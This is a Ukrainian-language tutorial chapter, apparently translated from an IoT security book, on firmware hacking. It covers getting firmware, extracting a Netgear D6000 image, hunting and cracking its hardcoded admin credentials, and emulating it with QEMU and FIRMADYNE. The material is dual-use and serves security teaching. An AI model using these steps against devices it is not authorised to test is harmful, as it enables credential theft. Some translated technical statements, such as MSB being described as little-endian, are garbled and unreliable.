Частина 9. Злом апаратної частини системи. (Злом прошивки)

10 жовтня 2023 14 хвилин Автор: Lady Liberty

Злом прошивки: Аналіз та наслідки

Злом прошивки – це процес, що полягає в аналізі та модифікації програмного забезпечення на пристроях з метою отримання додаткового контролю або доступу. Ця процедура може включати в себе розблокування обмежень, зміну функціональності, а також дослідження та використання різних технік для досягнення певних цілей. Злам прошивки може використовуватися для різних цілей і може вплинути на безпеку та функціональність пристрою. Важливо відзначити, що процес злому прошивки може бути вжитий як для позитивних, так і для негативних цілей. Наприклад, дослідники безпеки можуть зламувати прошивку для виявлення вразливостей і вдосконалення безпеки, тоді як кіберзлочинці можуть використовувати цей процес для незаконних цілей, таких як отримання несанкціонованого доступу або внесення шкідливих змін.

Злом прошивки вимагає глибокого розуміння програмування та аналізу систем, і він часто використовується у сферах безпеки, дослідження та розвитку пристроїв. Проте важливо розуміти, що злам прошивки може порушити законодавство та правила власності, і використання цього процесу повинно бути законним та етичним. Прошивка, або мікропрограма, – частина програмного забезпечення, яка пов’язує апаратний рівень пристрої із його основним програмним рівнем. В’язкість в цій частині пристрою може надати величезне впливом геть його функції. Ось чому вкрай важливо виявляти та усувати вразливості прошивок для захищених пристроїв Інтернет речей. У цьому розділі буде показано, що таке прошивка і як можна отримати до неї доступ; потім ми проаналізуємо її на наявність уразливості мостів. Почнемо з пошуку облікових даних користувача у файловій системі прошивки. Потім емулюємо деякі скомпіловані двійкові файли вбудованого ПЗ у складі прошивки для виконання динамічного аналізу. Також ми модифікуємо загальнодоступне вбудоване ПЗ, додаючи механізм бекдору, і обговоримо, як виявити вразливу службу оновлення прошивки.

Прошивка та операційні системи

Прошивка – це тип програмного забезпечення, яке забезпечує зв’язок і контроль над апаратними компонентами пристрою. Це перший фрагмент коду, який запускає пристрій. Зазвичай він завантажує операційну систему та надає дуже специфічні служби виконання програм, взаємодіючи з різними апаратними компонентами. Більшість, якщо не всі, електронні пристрої мають прошивку.

Хоча прошивка простіша та надійніша, ніж операційні системи, вона також має суворіші обмеження та призначена для підтримки лише певного обладнання. Навпаки, багато пристроїв IoT працюють під керуванням надзвичайно просунутих, складних операційних систем, які підтримують велике сімейство продуктів. Наприклад, пристрої IoT на базі Microsoft Windows зазвичай використовують такі операційні системи, як Windows 10 IoT Core, Windows Embedded Industry (також відома як POSReady або WEPOS) і Windows Embedded CE. Пристрої IoT, засновані на вбудованих варіантах Linux, часто використовують такі операційні системи, як Android Things, OpenWrt і Raspberry Pi OS. З іншого боку, пристрої IoT, призначені для обслуговування додатків у реальному часі, яким потрібно обробляти дані з певними часовими обмеженнями та без затримок буфера, зазвичай базуються на операційних системах реального часу (RTOS), таких як BlackBerry QNX, Wind River VxWorks і NXP MQX mBed. Крім того, «порожні» пристрої IoT («голі пристрої»), призначені для підтримки простих додатків на основі мікроконтролерів, зазвичай виконують код асемблера безпосередньо, без додаткових алгоритмів планування операційної системи для розподілу системних ресурсів. Однак кожна з цих реалізацій має власну послідовність завантаження із сумісними завантажувачами.

У менш складних пристроях IoT прошивка може грати роль операційної системи. Пристрої зберігають прошивку в енергонезалежній пам’яті, наприклад, ROM, PROM або флеш-пам’яті.

Важливо вивчити прошивку, а потім спробувати її змінити, оскільки під час цього процесу ми можемо виявити багато проблем із безпекою. Користувачі часто модифікують прошивку, щоб розблокувати нові функції або налаштувати її. Але за допомогою тієї ж тактики зловмисники можуть краще зрозуміти внутрішню роботу системи або навіть скористатися вразливістю безпеки.

Доступ до прошивки

Перш ніж ви зможете виконати зворотне проектування прошивки, ви повинні знайти спосіб отримати до неї доступ. Зазвичай це можна зробити кількома способами, залежно від пристрою. У цьому розділі ми розглянемо найпопулярніші методи вилучення прошивки відповідно до методології OWASP Firmware Security Testing (FSTM), яку ви можете знайти на https://scriptingxss.gitbook.io/firmware-security-testing-methodology/.

Часто найпростіший спосіб знайти прошивку – відвідати сайт підтримки вендора. Деякі постачальники роблять свої прошивки загальнодоступними, щоб спростити усунення несправностей. Наприклад, виробник мережевого обладнання TPLink надає на своєму сайті сховище файлів прошивок для роутерів, камер та інших пристроїв.

Якщо прошивка для конкретного пристрою не опублікована, спробуйте запитати про це у виробника. Деякі постачальники можуть просто надати вам прошивку. Ви можете безпосередньо зв’язатися з командою розробників, виробником або іншим клієнтом постачальника. Переконайтеся, що особа, з якою ви зв’язалися, уповноважена надати вам доступ до прошивки (має дозвіл постачальника). Обов’язково варто спробувати отримати версію розробки та остаточну збірку – це зробить ваш Тестування є більш ефективним, оскільки ви зможете побачити різницю між двома збірками. Крім того, деякі механізми захисту можуть бути відсутніми в збірці попереднього перегляду. Наприклад, Intel RealSense надає виробничі та виробничі версії прошивки для своїх камер на https://dev.intelrealsense.com/docs/firmware-releases/.

Іноді вам доведеться збирати прошивку вручну. Деяких людей це лякає, але вихід є. Вихідний код прошивки може бути загальнодоступним, особливо в проектах з відкритим вихідним кодом. У таких ситуаціях ви можете створити прошивку, дотримуючись опублікованих виробником покрокових інструкцій та інструкцій. Операційна система OpenWrt, використана в Главі 6, є одним з таких проектів прошивки з відкритим вихідним кодом; В основному використовується у вбудованих пристроях для маршрутизації мережевого трафіку. Наприклад, прошивка роутерів GL.iNet заснована на OpenWrt.

Іншим поширеним підходом є вивчення потужних пошукових систем, таких як Google, за допомогою Google Dork. При правильному запиті в інтернеті можна знайти практично все, що завгодно. Шукайте в Google двійкові розширення, розміщені на файлообмінних платформах, таких як MediaFire, Dropbox, Microsoft OneDrive, Google Drive або Amazon Drive. Часто можна побачити зображення прошивок, завантажені клієнтами на форуми або в блоги клієнтів і корпоративні блоги. Загляньте в розділ коментарів на сайтах для комунікації між покупцями і виробниками. Ви можете знайти інформацію про те, як отримати прошивку, або навіть виявити, що виробник надіслав клієнту стиснений файл або посилання для завантаження прошивки з файлообмінної платформи. Ось приклад запиту Google Dork для пошуку файлів прошивки для пристроїв Netgear:

intitle:"Netgear" intext:"Firmware Download"

Параметр  intitle визначає текст, який повинен бути присутнім у  заголовку сторінки, тоді як параметр intext визначає   текст, який повинен існувати у вмісті сторінки. Цей пошук дав результати, показані на мал. 9.1.

Не варто також нехтувати відкритим хмарним сховищем. Спробуйте пошукати відра (башти) для сховища Amazon S3; Якщо вам пощастить, ви можете знайти прошивку в незахищеному кошику постачальника. (Щоб відповідати вимогам закону, переконайтеся, що сегменти розкриті законно, а постачальник надав доступ до файлів.) Інструмент S3Scanner може перерахувати сегменти Amazon S3 постачальника. Інструмент написаний на Python 3, який попередньо встановлений на Kali Linux. Завантажити застосунок можна за допомогою команди git:

$ git clone https://github.com/sa7mon/S3Scanner

Потім перейдіть до папки програми та встановіть необхідні залежності за допомогою команди pip3, яка також доступна на Kali Linux:

# cd S3Scanner
# pip3 install -r requirements.txt

Тепер ви можете знайти сегменти Amazon S3, що належать вашому постачальнику обладнання, і дізнатися, які з них надають доступ до прошивки:

$ python3 s3scanner.py vendor_potential_buckets.txt
2020-05-01 11:16:42 Warning: AWS credentials not configured. Open buckets will be shown as
closed. Run: `aws configure` to fix this.
2020-05-01 11:16:45 [found] : netgear | AccessDenied | ACLs: unknown - no aws creds
2020-05-01 11:16:46 [not found] : netgear-dev
2020-05-01 11:16:46 [not found] : netgear-development
2020-05-01 11:16:46 [not found] : netgear-live
2020-05-01 11:16:47 [not found] : netgear-stag
2020-05-01 11:16:47 [not found] : netgear-staging
2020-05-01 11:16:47 [not found] : netgear-prod
2020-05-01 11:16:48 [not found] : netgear-production
2020-05-01 11:16:48 [not found] : netgear-test
2020-05-01 11:16:52 [found] : tplink | AccessDenied | ACLs: unknown - no aws creds
2020-05-01 11:16:52 [not found] : tplinl-dev

Параметр  vendor_potential_buckets.txt  визначає потенційний файл назви сегмента, який може спробувати інструмент. Ви можете створити власний подібний користувацький файл і вказати імена постачальників, а потім популярні суфікси для сегментів S3, такі як  -dev, -development  , -live, -staging   і -prod. Спочатку інструмент відображає попередження про те, що ваші облікові дані AWS відсутні, але це очікувано, і ви можете його проігнорувати. Потім виявлені сегменти S3 відображаються зі статусом доступу.

Якщо ваш пристрій постачається з супутнім програмним забезпеченням, спробуйте проаналізувати клієнтські програми. Аналізуючи супутні мобільні програми або так звані товсті клієнти пристроїв – повнофункціональні комп’ютери, які не потребують підключення до мережі – можна виявити жорстко закодовані кінцеві точки, з якими взаємодіють програми. Однією з цих кінцевих точок може бути та, яка використовувалася для автоматичного завантаження прошивки під час процесу оновлення. Незалежно від того, чи автентифіковано цю кінцеву точку, ви зможете завантажити мікропрограму, аналізуючи клієнти. Методологію аналізу таких додатків можна знайти в главі 14.

Якщо пристрій отримує оновлення та виправлення помилок від виробника через мережу, ви можете ефективно виконати атаку “людина посередині” під час оновлення прошивки. Ці оновлення передаються по мережевому каналу від центрального сервера або кластерів серверів до кожного підключеного пристрою. Залежно від складності логіки програми, що завантажує прошивку, найпростішим рішенням може стати перехоплення трафіку. Для цього на пристрої повинен бути встановлений довірений сертифікат (за умови, що передача відбувається по HTTPS), який дозволить перехоплювати трафік за допомогою мережевого сніффера, технології отруєння (наприклад, отруєння ARP-кеша) і проксі, здатного зберегти дамп двійкових даних в файл.

На багатьох пристроях ви також можете вивантажити прошивку за допомогою завантажувача пристрою. Доступ до завантажувача зазвичай здійснюється різними способами, такими як вбудовані послідовні порти RS232, спеціальні комбінації клавіш або через мережу. Крім того, в більшості споживчих пристроїв завантажувач запрограмований на можливість читання і запису флеш-пам’яті.

Якщо ваше обладнання містить відкриті API, такі як UART, JTAG і SPI, спробуйте підключитися безпосередньо до цих інтерфейсів, щоб прочитати флеш-пам’ять. Розділи 7 і 8 містять детальне пояснення того, як виявляти і використовувати ці інтерфейси.

Останній і найскладніший метод полягає в тому, щоб витягти прошивку безпосередньо з будь-якого мікросхеми флеш-пам’яті (через SPI, наприклад) або мікроконтролера (MCU). MCU — це мікросхема, встановлена на платі пристрою, яка містить центральний процесор, пам’ять, годинник і блок керування. Щоб витягти прошивку з мікроконтролера або флеш-пам’яті, знадобиться програматор мікросхем.

Злом Wi-Fi роутера

У цьому розділі ми розглянемо прошивку дуже популярного маршрутизатора Netgear D6000. Для початку розпакуємо файлову систему прошивки та знайдемо в ній облікові дані користувача. Потім проведемо емуляцію прошивки в роутері для динамічного аналізу.

Щоб знайти прошивку, перейдіть на веб-сайт постачальника та відкрийте сторінку підтримки для моделі пристрою (https://www.netgear.com/ support/product/D6000.aspx). Ви побачите список прошивок і програмного забезпечення, доступних для завантаження (див. Малюнок 9.2).

Завантажте свої файли. Оскільки прошивка має стислий формат, скористайтеся  командою unzip,  щоб розпакувати її. Встановити unzip можна за допомогою apt-get:

$ mkdir d6000 && cd d6000
$ wget http://www.downloads.netgear.com/files/GDC/D6000/D6000_V1.0.0.41_1.0.1_FW.zip
unzip D6000_V1.0.0.41_1.0.1_FW.zip

Команда  wget – це утиліта  Unix, яка завантажує файли з Інтернету неінтерактивним способом. Без додаткових аргументів wget збереже файл у поточному робочому каталозі. Потім утиліта розпакування створює папку з назвою D6000_V1.0.0.41_1.0.1_ FW, яка містить два файли: D6000-V1.0.0.41_1.0.1.bin, який є мікропрограмою пристрою, і D6000_V1.0.0.41_1.0.1_Software_ Release_Notes. HTML, який містить примітки виробника щодо ручного встановлення цієї прошивки на пристрій.

Придбавши прошивку, ви можете перевірити її на наявність проблем із безпекою.

Видобування файлової системи

Прошивка більшості маршрутизаторів споживчого класу містить файлову систему пристрою в стисненому форматі. Іноді прошивка стискається кілька разів за допомогою різних алгоритмів (наприклад, LZMA і LZMA2). Давайте розпакуємо цю файлову систему, змонтуємо її та пошукаємо вразливості безпеки. Щоб знайти файлову систему у файлі прошивки, скористайтеся  бінпрогулянкою, яка попередньо встановлена на Kali Linux:

$ binwalk -e -M D6000-V1.0.0.41_1.0.1.bin

Параметр -e  видобуває будь-який ідентифікований файл, зокрема завантажувач і файлову систему, із мікропрограми  . Параметр  -M  рекурсивно сканує видобуті файли і виконує аналіз сигнатур для визначення типів файлів на основі загальних шаблонів. Але будьте обережні: якщо binwalk не зможе правильно визначити типи файлів, він може заповнити ваш жорсткий диск. Тепер у вас має бути тека з назвою _D6000-V1.0.0.41_1.0.1.bin. extracted, куди записується витягнутий вміст.

Зверніть увагу, що ми використовували  binwalk версії  2.1. 2-a0c5315. Деякі попередні версії не могли правильно розпакувати файлову систему. Ми рекомендуємо використовувати останню версію binwalk, яка доступна на GitHub за адресою https:// github.com/ReFirmLabs/binwalk/.

Статичний аналіз вмісту файлової системи

Тепер, коли ми розпакували файлову систему, ми можемо переміщатися по файлах і намагатися знайти корисну інформацію. Хорошим підходом є почати з пошуку маловідомих результатів, таких як облікові дані, що зберігаються у файлах конфігурації, або застарілі та вразливі версії спільних двійкових файлів із загальнодоступними рекомендаціями. Шукайте будь-які файли, які називаються passwd або shadow, які часто містять інформацію про всі облікові записи користувачів у системі, включаючи паролі користувачів. Зробити це можна за допомогою поширених утиліт, таких як grep або find, які попередньо встановлені в будь-якій системі Unix:

~/d600/_D6000-V1.0.0.41_1.0.1.bin.extracted$ find . -name passwd
./squashfs-root/usr/bin/passwd
./squashfs-root/usr/etc/passwd

Використовуючи ,, ми даємо команду інструменту Find  здійснити пошук у поточному робочому каталозі файлу, вказаному параметром name. У цьому випадку ми шукаємо файл passwd. Як бачите, файлів з такою назвою два.

Виконуваний файл bin/passwd не надає нам жодної корисної інформації в її поточному вигляді. З іншого боку, файл etc/passwd має читабельний формат. Його можна прочитати за допомогою утиліти cat:

$ cat ./squashfs-root/usr/etc/passwd
admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh$

Файл etc/passwd містить текстову базу даних, у якій перелічено користувачів, які можуть автентифікуватися в системі. Наразі існує лише один запис, присвячений адміністратору пристрою. Запис має такі поля, розділені двокрапкою: ім’я користувача, хеш пароля користувача, ідентифікатор користувача, ідентифікатор групи, додаткова інформація про користувача, шлях до домашньої теки користувача; Програма запускається, коли користувач входить до системи Система. Давайте подивимося на хеш пароля ($1 $$ iC.dUsGpxNNJGeOm1dFio /).

Компрометація облікових даних адміністратора пристрою

Використовуйте hashid, щоб визначити тип хешу пароля адміністратора. Цей інструмент попередньо встановлений на Kali Linux і може виявляти понад 220 унікальних типів хешів за допомогою регулярних виразів:

$ hashid $1$$iC.dUsGpxNNJGeOm1dFio/
Analyzing '$1$$iC.dUsGpxNNJGeOm1dFio/'
[+] MD5 Crypt
[+] Cisco-IOS(MD5)
[+] FreeBSD MD5

На виході ми знайшли хеш на кшталт MD5 Crypt. Тепер ви можете спробувати зламати цей пароль за допомогою інструменту грубої сили, такого як john або hashcat. Ці інструменти циклічно переглядають список потенційних паролів, щоб знайти той, який відповідає хешу.

$ hashcat -a 3 -m 500 ./squashfs-root/usr/etc/passwd
…
Session..........: hashcat
Status...........: Exhausted
Hash.Type........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$$iC.dUsGpxNNJGeOm1dFio/
Time.Started.....: Sat Jan 11 18:36:43 2020 (7 secs)
Time.Estimated...: Sat Jan 11 18:36:50 2020 (0 secs)
Guess.Mask.......: ?1?2?2 [3]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined
Guess.Queue......: 3/15 (20.00%)
Speed.#2.........: 2881 H/s (0.68ms) @ Accel:32 Loops:15 Thr:8 Vec:1
Speed.#3.........: 9165 H/s (1.36ms) @ Accel:32 Loops:15 Thr:64 Vec:1
Speed.#*.........: 12046 H/s
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 80352/80352 (100.00%)
Rejected.........: 0/80352 (0.00%)
Restore.Point....: 205/1296 (15.82%)
Restore.Sub.#2...: Salt:0 Amplifier:61-62 Iteration:990-1000
Restore.Sub.#3...: Salt:0 Amplifier:61-62 Iteration:990-1000
Candidates.#2....: Xar -> Xpp
Candidates.#3....: Xww -> Xqx
$1$$iC.dUsGpxNNJGeOm1dFio/:1234 [s]tatus [p]ause [b]ypass [c]
heckpoint [q]uit =>

Параметр -a визначає режим атаки, який використовується для перебору  паролів у відкритому тексті. Вибираємо режим 3 для виконання атаки методом перебору. Режим 0 виконує атаку списком слів, а режим 1 виконує комбінаторну атаку, яка додає кожне слово в словнику до кожного слова в іншому словнику. Ви також можете виконувати більш спеціалізовані атаки, використовуючи режими 6 і 7. Наприклад,  Якщо ви знаєте, що останнім символом у паролі є цифра, ви можете налаштувати інструмент для перевірки паролів, які закінчуються лише на цифру.

Параметр  -m  визначає тип хешу, який ми намагаємося зламати, а 500 означає MD5 Crypt. Більш детальну інформацію про підтримувані типи хешів можна знайти на веб-сторінці hashcat  (https:// hashcat.net/hashcat/). Ми відновили пароль 1234. Щоб його забрати, знадобилося менше хвилини!

Пошук облікових даних у файлах конфігурації

Використовуючи підхід, аналогічний описаному на початку цього розділу (коли ми знайшли файл passwd), давайте пошукаємо інші секрети в прошивці. Ви часто можете знайти жорстко закодовані облікові дані у файлах конфігурації з розширенням .cfg. Пристрій використовує ці файли для налаштування початкового стану служби.

Знайдіть файли cfg за допомогою  команди find:

$ find . -name *cfg
./userfs/profile.cfg
./userfs/romfile.cfg
./boaroot/html/NETGEAR_D6000.cfg
./boaroot/html/romfile.cfg
./boaroot/html/NETGEAR_D6010.cfg
./boaroot/html/NETGEAR_D3610.cfg
./boaroot/html/NETGEAR_D3600.cfg

Після цього ви можете переглянути файли конфігурації для отримання відповідної інформації. Наприклад, у romfile ми знаходимо ряд жорстко закодованих облікових даних користувача.cfg:

$ cat ./squashfs-root/userfs/romfile.cfg
…
<Account>
 <Entry0 username="admin" web_passwd="password" console_passwd="password" display_mask="FF
FF F7 FF FF FF FF FF FF" old_passwd="password" changed="1" temp_passwd="password" expire_
time="5" firstuse="0" blank_password="0"/>
 <Entry1 username="qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyui
opqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyui" web_pas
swd="123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
12345678901234567890123456789012345678" display_mask="F2 8C 84 8C 8C 8C 8C 8C 8C"/>
 <Entry2 username="anonymous" web_passwd="anon@localhost" display_mask="FF FF F7 FF FF FF FF
FF FF"/>
</Account>
…

Ми знайшли трьох нових користувачів на ім’я admin,  qwer ty uiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuioponymous  та анонімні зі своїми відповідними паролями у відкритому тексті.

Ми вже скомпрометували облікові дані облікового запису адміністратора, але пароль, який ми відновили, не збігається з паролем, зазначеним тут. Цілком ймовірно, що перший пароль, який ми знайдемо, буде замінений на пароль у конфігураційному файлі при першому завантаженні. Постачальники часто використовують файли конфігурації для внесення змін, пов’язаних із безпекою, під час ініціалізації пристрою. Цей підхід також дозволяє постачальникам розгортати одну й ту саму прошивку на пристроях, які підтримують різні функції та потребують певних налаштувань для успішної роботи.

Автоматизуйте аналіз прошивки

Інструмент Firmwalker може автоматизувати процес збору та аналізу інформації, описаний вище. Встановіть інструмент за допомогою https:// github.com/craigz28/firmwalker/, а потім запустіть:

$ git clone https://github.com/craigz28/firmwalker
$ cd firmwalker
$ ./firmwalker.sh ../d6000/_D6000-V1.0.0.41_1.0.1.bin.extracted/squashfs-root/
***Firmware Directory***
../d6000/_D6000-V1.0.0.41_1.0.1.bin.extracted/squashfs-root/
***Search for password files***
##################################### passwd
/usr/etc/passwd
/usr/bin/passwd
##################################### shadow
##################################### *.psk
***Search for Unix-MD5 hashes***
***Search for SSL related files***
##################################### *.crt
/usr/etc/802_1X/Certificates/client.crt
##################################### *.pem
/usr/etc/key.pem
/usr/etc/802_1X/CA/cacert.pem
/usr/etc/cert.pem
…
/usr/etc/802_1X/PKEY/client.key
…
##################################### *.cfg
…
/userfs/romfile.cfg
…

Firmwalker автоматично виявляв не тільки файли, які ми ідентифікували вручну, але й інші, які також виглядають підозрілими. Ми залишимо вам вивчати ці нові файли самостійно – як навчальний сеанс.

Netgear усунула вразливість, спричинену жорстко закодованими обліковими даними в останній прошивці, і опублікувала рекомендації в бюлетені безпеки (https://kb.netgear.com/30560/CVE-20158288-Use-of-Hard-coded-Cryptographic-Key/), який інформує клієнтів про цю проблему.

Емуляція прошивки

У цьому розділі ми покажемо вам, як емулювати прошивку. Таким чином, ми зможемо проводити тести динамічного аналізу, які можливі лише при нормальній роботі прошивки. Ми використовуємо два методи емуляції: двійковий, за допомогою Quick Emulator (QEMU), і повну емуляцію прошивки за допомогою FIRMADYNE. QEMU — комп’ютерний емулятор та аналізатор з відкритим вихідним кодом, який працює з кількома операційними системами та програмами; FIRMADYNE (https://github. com/firmadyne/firmadyne/) — платформа  на базі Linux для автоматизації, емуляції та динамічного аналізу прошивки.

Бінарна емуляція

Емуляція одного двійкового файлу в прошивці – це швидкий спосіб вивести відповідну бізнес-логіку та динамічно проаналізувати наданий функціонал на наявність вразливостей. Цей підхід також дозволяє використовувати спеціалізовані інструменти бінарного аналізу, дизасемблери та фреймворки, які ви зазвичай не можете встановити в середовищах з обмеженими ресурсами. Ці середовища включають вбудовані системи або ті, які недостатньо потужні для використання з великими та складними обчислювальними навантаженнями, такими як повна прошивка пристрою. На жаль, ви не зможете емулювати двійкові файли, які мають особливі вимоги до обладнання та шукають конкретні послідовні порти або кнопки пристроїв. Крім того, у вас можуть виникнути проблеми з емуляцією двійкових файлів, які залежать від спільних бібліотек, які завантажуються під час виконання, або тих, які повинні взаємодіяти з іншими двійковими файлами платформи для успішної роботи.

Щоб емулювати одиночний двійковий файл, спочатку потрібно визначити порядок байтів двійкового файлу та архітектуру процесора, для якої він був скомпільований. Ви можете знайти основні двійкові файли в дистрибутивах Linux в папці bin і перерахувати їх за допомогою  команди ls, попередньо встановленої в Kali Linux:

$ ls -l ./squashfs-root/bin/
total 492
lrwxrwxrwx 1 root root 7 Jan 24 2015 ash -> busybox
-rwxr-xr-x 1 root root 502012 Jan 24 2015 busybox
lrwxrwxrwx 1 root root 7 Jan 24 2015 cat -> busybox
lrwxrwxrwx 1 root root 7 Jan 24 2015 chmod -> busybox
…
lrwxrwxrwx 1 root root 7 Jan 24 2015 zcat -> busybox

Параметр -l  показує додаткові відомості щодо  файлів, зокрема шляхи символічних посилань (посилання на  інші файли або каталоги). Як бачите, всі двійкові файли в каталозі є символічними посиланнями на виконуваний файл busybox. У середовищах з обмеженим доступом, таких як вбудовані системи, часто є лише один виконуваний файл під назвою busybox. Цей виконуваний файл виконує завдання, аналогічні завданням виконуваних файлів операційної системи Unix,  але використовує менше ресурсів. Зловмисники успішно атакували ранні версії busybox, але в останніх версіях виявлені уразливості були виправлені.

Щоб побачити формат файлу виконуваного файлу busybox, скористайтеся командою file:

$ file ./squashfs-root/bin/busybox
./squashfs-root/bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS32 rel2
version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0,
stripped

Формат виконуваного файлу відповідає архітектурі процесора MIPS, яка дуже поширена в простих вбудованих пристроях. Мітка MSB у виводі вказує на те, що виконуваний файл використовує порядок little-endian (на відміну від вихідних даних, що містять мітку LSB, яка вказує на ендіан-подібний порядок). Тепер ми можемо емулювати виконуваний файл busybox за допомогою QEMU. Встановіть його за допомогою apt-get:

$ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemusystemmips qemu-system-x86 qemu-utils

Оскільки виконувані файли компілюються для MIPS і використовують порядок little-endian, ми будемо використовувати емулятор QEMU qemu-mips. Щоб емулювати виконувані файли little-endian, нам потрібно вибрати емулятор, ім’я якого закінчується на el, у цьому випадку qemu-mipsel:

$ qemu-mips -L ./squashfs-root/ ./squashfs-root/bin/zcat
zcat: compressed data not read from terminal. Use -f to force it.

Решта динамічного аналізу може бути виконана за допомогою фаззингу, налагодження або навіть символьного виконання. Ви можете дізнатися більше про ці методи в книзі Денніса Андріса «Практичний бінарний аналіз»  (No Starch Press, 2018).

Повна емуляція прошивки

Для емуляції всієї прошивки, замість одного двійкового файлу, можна використовувати додаток з відкритим вихідним кодом під назвою FIRMADYNE. Він заснований на QEMU і призначений для автоматичного налаштування середовища QEMU та хост-системи для вас, спрощуючи емуляцію. Але майте на увазі, що FIRMADYNE не завжди повністю стабільний, особливо коли прошивка взаємодіє з дуже спеціалізованими апаратними компонентами, такими як кнопки пристроїв або чіпи захищеного анклаву. Ці частини емульованої прошивки можуть працювати некоректно.

Перед тим, як використовувати FIRMADYNE, необхідно підготувати навколишнє середовище. Наступні команди встановлять пакунки, необхідні для роботи цього інструменту, і клонують його репозиторій у нашій системі:

$ sudo apt-get install busybox-static fakeroot git dmsetup kpartx netcat-openbsd nmap 
pythonpsycopg2 python3-psycopg2 snmp uml-utilities util-linux vlan
$ git clone --recursive https://github.com/firmadyne/firmadyne.git

На цьому етапі у вашій системі має  бути папка firmadyne. Щоб швидко налаштувати інструмент, перейдіть до каталогу інструментів і запустіть ./setup.sh. Крім того, ви можете налаштувати його вручну, дотримуючись інструкцій, наведених тут. Дотримуючись інструкцій, ви зможете вибрати відповідні менеджери пакетів та інструменти для вашої системи.

Вам також потрібно буде встановити базу даних PostgreSQL для зберігання інформації, яка використовується для емуляції. Створіть користувача FIRMADYNE з  прапорцем -P. У цьому прикладі ми використовуємо слово firmadyne як пароль, як рекомендують автори інструменту:

$ sudo apt-get install postgresql
$ sudo service postgresql start
$ sudo -u postgres createuser -P firmadyne

Далі створіть нову базу даних і завантажте її зі схемою бази даних, доступною в  папці репозиторію firmadyne:

$ sudo -u postgres createdb -O firmadyne firmware
$ sudo -u postgres psql -d firmware < ./firmadyne/database/schemа

Тепер, коли база даних налаштована, завантажте попередньо зібрані двійкові файли для всіх компонентів FIRMADYNE, запустивши скрипт download.sh, розташований у папці репозиторію. Використання попередньо вбудованих двійкових файлів значно скоротить загальний час встановлення.

$ cd ./firmadyne; ./download.sh

Далі встановіть змінну FIMWARE_DIR так, щоб вона вказувала на поточний робочий репозиторій у файлі firmadyne.config, розташованому в тій же папці. Ця зміна дозволяє FIRMADYNE знаходити двійкові файли у файловій системі Kali Linux.

FIRMWARE_DIR=/home/root/Desktop/firmadyne
…

У цьому прикладі папка зберігається на робочому столі, але слід замінити шлях розташуванням папки у вашій системі. Тепер скопіюйте або завантажте прошивку для вашого D6000 (див. розділ “Злом Wi-Fi роутера”) в цю папку:

$ wget http://www.downloads.netgear.com/files/GDC/D6000/D6000_V1.0.0.41_1.0.1_FW.zip

FIRMADYNE включає автоматизований сценарій Python для вилучення прошивки. Але, щоб скористатися скриптом, ви повинні спочатку встановити модуль Python binwalk:

$ git clone https://github.com/ReFirmLabs/binwalk.git
$ cd binwalk
$ sudo python setup.py install

Ми використовуємо  команду python  для ініціалізації та налаштування  binwalk. Далі нам знадобляться ще два пакети Python, які можна встановити за допомогою потужності менеджера пакетів Python pip:

$ sudo -H pip install git+https://github.com/ahupp/python-magic
$ sudo -H pip install git+https://github.com/sviehb/Jefferson

Тепер скористайтеся скриптом FIRMADYNE extractor.py, щоб витягти прошивку зі стисненого файлу:

$ ./sources/extractor/extractor.py -b Netgear -sql 127.0.0.1 -np -nk "D6000_V1.0.0.41_1.0.1_
FW.zip" images
>> Database Image ID: 1
/home/user/Desktop/firmadyne/D6000_V1.0.0.41_1.0.1_FW.zip >> MD5:
1c4ab13693ba31d259805c7d0976689a
>> Tag: 1
>> Temp: /tmp/tmpX9SmRU
>> Status: Kernel: True, Rootfs: False, Do_Kernel: False, Do_Rootfs: True
>>>> Zip archive data, at least v2.0 to extract, compressed size: 9667454, uncompressed size:
9671530, name: D6000-V1.0.0.41_1.0.1.bin
>> Recursing into archive ...
/tmp/tmpX9SmRU/_D6000_V1.0.0.41_1.0.1_FW.zip.extracted/D6000-V1.0.0.41_1.0.1.bin
 >> MD5: 5be7bba89c9e249ebef73576bb1a5c33
 >> Tag: 1 
 >> Temp: /tmp/tmpa3dI1c
 >> Status: Kernel: True, Rootfs: False, Do_Kernel: False, Do_Rootfs: True
 >> Recursing into archive ...
 >>>> Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8252568
 bytes, 1762 inodes, blocksize: 131072 bytes, created: 2015-01-24 10:52:26
 Found Linux filesystem in /tmp/tmpa3dI1c/_D6000-V1.0.0.41_1.0.1.bin.extracted/squashfs-
 root! 
 >> Skipping: completed!
 >> Cleaning up /tmp/tmpa3dI1c...
>> Skipping: completed!
>> Cleaning up /tmp/tmpX9SmRU...

Параметр -b вказує ім’я, яке використовується для зберігання результатів вилучення. Ми вирішили використати назву виробника мікропрограм. Параметр -sql встановлює розташування бази даних SQL. Потім ми використовуємо два прапори, рекомендовані у документації програми. Параметр -nk запобігає вилученню будь-якого ядра Linux, включеного в мікропрограму, що прискорює процес.

Параметр -np вказує, що жодна паралельна операція не виконуватиметься. Якщо сценарій завершиться успішно, останні рядки виводу міститимуть повідомлення, що вказує, що виявлено файлову система Linux. Тег 1 вказує, що видобуті образи мікропрограми знаходяться в ./images/1.tar.gz. Використовуйте сценарій getArch.sh для автоматичного визначення архітектури мікропрограми та збережіть його в базі даних FIRMADYNE:

$ ./scripts/getArch.sh ./images/1.tar.gz
./bin/busybox: mipseb

FIRMADYNE визначив виконуваний формат mipseb, який відповідає системам кінця порядку MIPS. Ви повинні очікувати цього результату, оскільки ми отримали той самий результат, коли використовували команду file  (див. Емуляція двійкового коду) для обробки заголовка окремого двійкового файла.

Тепер ми будемо використовувати скрипти tar2db.py і makeImage.sh для зберігання інформації з видобутого зображення в базі даних і створення образу QEMU, який ми зможемо емулювати.

$./scripts/tar2db.py -i 1 -f ./images/1.tar.gz
$./scripts/makeImage.sh 1
Querying database for architecture... Password for user firmadyne:
mipseb
…
Removing /etc/scripts/sys_resetbutton!
----Setting up FIRMADYNE----
